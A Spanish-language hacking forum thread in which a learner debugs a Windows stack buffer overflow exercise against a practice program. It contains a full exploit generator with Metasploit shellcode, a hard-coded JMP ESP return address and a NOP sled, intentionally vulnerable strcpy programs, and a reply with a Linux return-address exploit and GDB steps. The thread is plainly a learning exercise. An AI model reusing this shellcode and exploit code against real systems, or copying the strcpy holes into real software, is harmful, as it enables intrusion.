elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Problema Con Buffer Overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Problema Con Buffer Overflow  (Leído 7,218 veces)
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Problema Con Buffer Overflow
« en: 8 Enero 2011, 20:22 pm »

Hola a todos.
Es la primera vez que pregunto algo en este foro, espero que puedan ayudarme por que no encontre la respuesta de este problema en ninguna manual que he leido.
El tema es el siguiente estoy aprendiendo los Buffer Overflows, utilizando un programa sacado de una manual sobre el mismo tema.
El programa a los 316 caracteres empieza a sobreescribir el registro EIP, el asunto es que el EIP hace su salto a el offset 7C86467B (JMP ESP - Libreria KERNEL32) pero la shellcode no se ejecuta correctamente debido a que no se abre la shell o el programa que elegi.
El OllyDbg me dice Violacion de acceso al leer 00000032.
Yo vi que la pila no contiene toda la shellcode completa sino una pequeña parte...
Alguna idea sobre el problema?

CODIGO DEL EXPLOIT

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>

using namespace std;

int main(int argc, char *argv[])
{

char shell[] = "\x2b\xc9\xbb\xef\x7a\x3b\xa1\xdb\xc8\xb1\x32\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x13\x03\x5a\x13\x83\xc2\x04\xe2\x1a\x86\xd3\x28"
"\xe4\x77\x24\x4b\x6d\x92\x15\x59\x09\xd6\x04\x6d\x5a\xba\xa4"
"\x06\x0e\x2f\x3e\x6a\x86\x40\xf7\xc1\xf0\x6f\x08\xe4\x3c\x23"
"\xca\x66\xc0\x3e\x1f\x49\xf9\xf0\x52\x88\x3e\xec\x9d\xd8\x97"
"\x7a\x0f\xcd\x9c\x3f\x8c\xec\x72\x34\xac\x96\xf7\x8b\x59\x2d"
"\xf6\xdb\xf2\x3a\xb0\xc3\x79\x64\x60\xf5\xae\x76\x5c\xbc\xdb"
"\x4d\x17\x3f\x0a\x9c\xd8\x71\x72\x73\xe7\xbd\x7f\x8d\x20\x79"
"\x60\xf8\x5a\x79\x1d\xfb\x99\x03\xf9\x8e\x3f\xa3\x8a\x29\x9b"
"\x55\x5e\xaf\x68\x59\x2b\xbb\x36\x7e\xaa\x68\x4d\x7a\x27\x8f"
"\x81\x0a\x73\xb4\x05\x56\x27\xd5\x1c\x32\x86\xea\x7e\x9a\x77"
"\x4f\xf5\x09\x63\xe9\x54\x44\x72\x7b\xe3\x21\x74\x83\xeb\x01"
"\x1d\xb2\x60\xce\x5a\x4b\xa3\xaa\x85\xa9\x61\xc7\x2d\x74\xe0"
"\x6a\x30\x87\xdf\xa9\x4d\x04\xd5\x51\xaa\x14\x9c\x54\xf6\x92"
"\x4d\x25\x67\x77\x71\x9a\x88\x52\x03\x79\x10\x38\x87\xe8\xaa"
"\xc2";

char ret[]= "\x7B\x46\x86\x7C"; /*KERNEL 32.DLL JMP ESP */
   
/*316NOPS */
char nops[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";


cout << "CREANDO EXPLOIT" << endl;                     
ofstream archivo;
archivo.open("a.txt");
archivo<<nops<<ret<<shell;
archivo.close();
cout << "LISTO !!!" << endl;
cout<<endl<<shell;
system("PAUSE");
}



CODIGO DEL SOFT VULNERABLE

Código:
#include <cstdlib>
#include <iostream>
using namespace std;

int LeerFichero(char *Fbuffer, char *Fnombre, int Limite)
{
int c;
int n=0;
FILE *f;
f=fopen(Fnombre,"r");
while ((c=getc(f))!=EOF)
{
if(n<Limite)
{Fbuffer[n++]=c;}
}
Fbuffer[n++]=0;
fclose(f);
return 0;
}

int FuncionVulnerable(char *cptr)
{
char buff[300] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

int FuncionOculta()
{
printf("Este texto nunca deberia de haberse mostrado");
return 0;
}

int main()
{
char buffer[1000];
char nombre[] = "a.txt";
LeerFichero(buffer,nombre,1000);
FuncionVulnerable(buffer);
return 0;
}

Gracias....
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #1 en: 8 Enero 2011, 20:32 pm »

Amigo, si tienes lo de funcion oculta, no te compliques la vida  :P
Otra cosa, tienes ahi el NOP, hazlo con memset xD
Y... a ver si tu shellcode no es correcta, puede ser para otro SP, o otro SO que tmb...  :silbar: la has hecho tu?
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #2 en: 8 Enero 2011, 20:54 pm »

Como es eso de memset? y lo de los nops no entiendo a lo que te referis.
La shellcode salio de metasploit es para ejecutar el editor de registro sino me equivoco.
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #3 en: 8 Enero 2011, 21:05 pm »

¿No me digas que usastes Metasploit  >:(? Lo odio, eso no es hacking...
Te explico, hay una funcion usada para llenar la memoria con datos. Yo la uso asi:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. char nops [56];
  7. memset (nops, '\x90', 56);
  8. puts (nops);
  9. return 0;
  10. }
  11.  
Código:
gcc -o code code.c
Código:
./code > hola.txt
Código:
hexdump -C hola.txt

Los NOPS son una instruccion del procesador que no hace nada. Se usa para llegar la shellcode... Su valor, como ves, es 0x90.
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #4 en: 8 Enero 2011, 23:29 pm »

A ver si entiendo memset sirver para no tener que andar escribiendo todos los nops no?
Lo de los nops ya sabia para que servian pero gracias.
Bueno alguna idea de por que no anda el exploit?
Como dije la shellcode la creo metasploit supongo que ahi esta el problema, que dicen?
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #5 en: 9 Enero 2011, 00:35 am »

Sep, para rellenar memoria, correcto...
Bueno, Metasploit, ademas de ser muy odiada por mi parte, no funciona muy bien para hacer shellcodes para estos codes caseros... Entonces podriamos hacer mejor nuestro propio exploit xD... Veamos...
Creo que tu code no es que sea muy bueno para hacer la practica... Es copy-paste o lo has hecho tu? No es muy practico xD...
A ver, un code mas sencillo seria:
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main (int argc, char *argv [])
  5. {
  6.    if (argc < 2) return 1;
  7.    char buffer [4];
  8.    strcpy (buffer, argv [1]);
  9.    puts (buffer);
  10.    return 0;
  11. }
  12.  
  13. int oculto ()
  14. {
  15.   printf ("Funciona!");
  16. }
  17.  
Entonces si escribimos 4 bytes del buffer + 4 del EBP (ensamblador) solo le metemos 4 mas con el ret... de "oculto ()".
Podemos hacer este exploit...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int main ()
  5. {
  6. char  nops [8];
  7. memset (nops, '\x90', 8);
  8. char ret [4] = "\x00\x00\x00\x00"; // Direccion regreso de "oculto"
  9.  
  10. char command [19];
  11. strcpy (command, "./code ");
  12. strcat (command, nops);
  13. strcat (command, ret);
  14. system (command);
  15.  
  16. return 0;
  17. }
  18.  
Bueno, abrimos con GDB y hacemos un break en el puts de ./code:
Código:
gcc -o code code.c -g
gdb -q ./code
break puts
r AAA
x/x buffer
Y copiamos la direccion de "buffer" al reves (orden de bits de red)
Esto es para Linux. Si estas en Windows, leete el texto de Rojodos. Estaba por el "Garage Virtual" o algo asi xD...
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #6 en: 9 Enero 2011, 00:54 am »

Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho.
El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia.
Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes?
Aclaracion:El codigo lo saque de un manual...
En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #7 en: 9 Enero 2011, 01:02 am »

Tengo un libro muy bueno pero es de Linux, aunque es buenisimo: "Hacking, técnicas fundamentales". Buenisimo...
Para Windows podrias mirar... vi una vez uno en Google, ahora mismo no me acuerdo, mañana lo miro, prueba en Google xD  :rolleyes: lo siento xD
En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
pepeluxx


Desconectado Desconectado

Mensajes: 347


Todos los días se aprende algo nuevo


Ver Perfil WWW
Re: Problema Con Buffer Overflow
« Respuesta #8 en: 9 Enero 2011, 12:36 pm »

Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho.
El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia.
Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes?
Aclaracion:El codigo lo saque de un manual...


Echale un ojo a un texto que escribí sobre ese tema. Espero que te ayude

Código:
http://pepelux.org/download.php?f=papers/shellcodes_en_win32.txt
En línea

Blackhawk222

Desconectado Desconectado

Mensajes: 23



Ver Perfil
Re: Problema Con Buffer Overflow
« Respuesta #9 en: 10 Enero 2011, 03:08 am »

Gracias pepeluxx por el texto, parece estar bueno lo voy a leer y luego te digo que tal.
En línea

Páginas: [1] 2 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines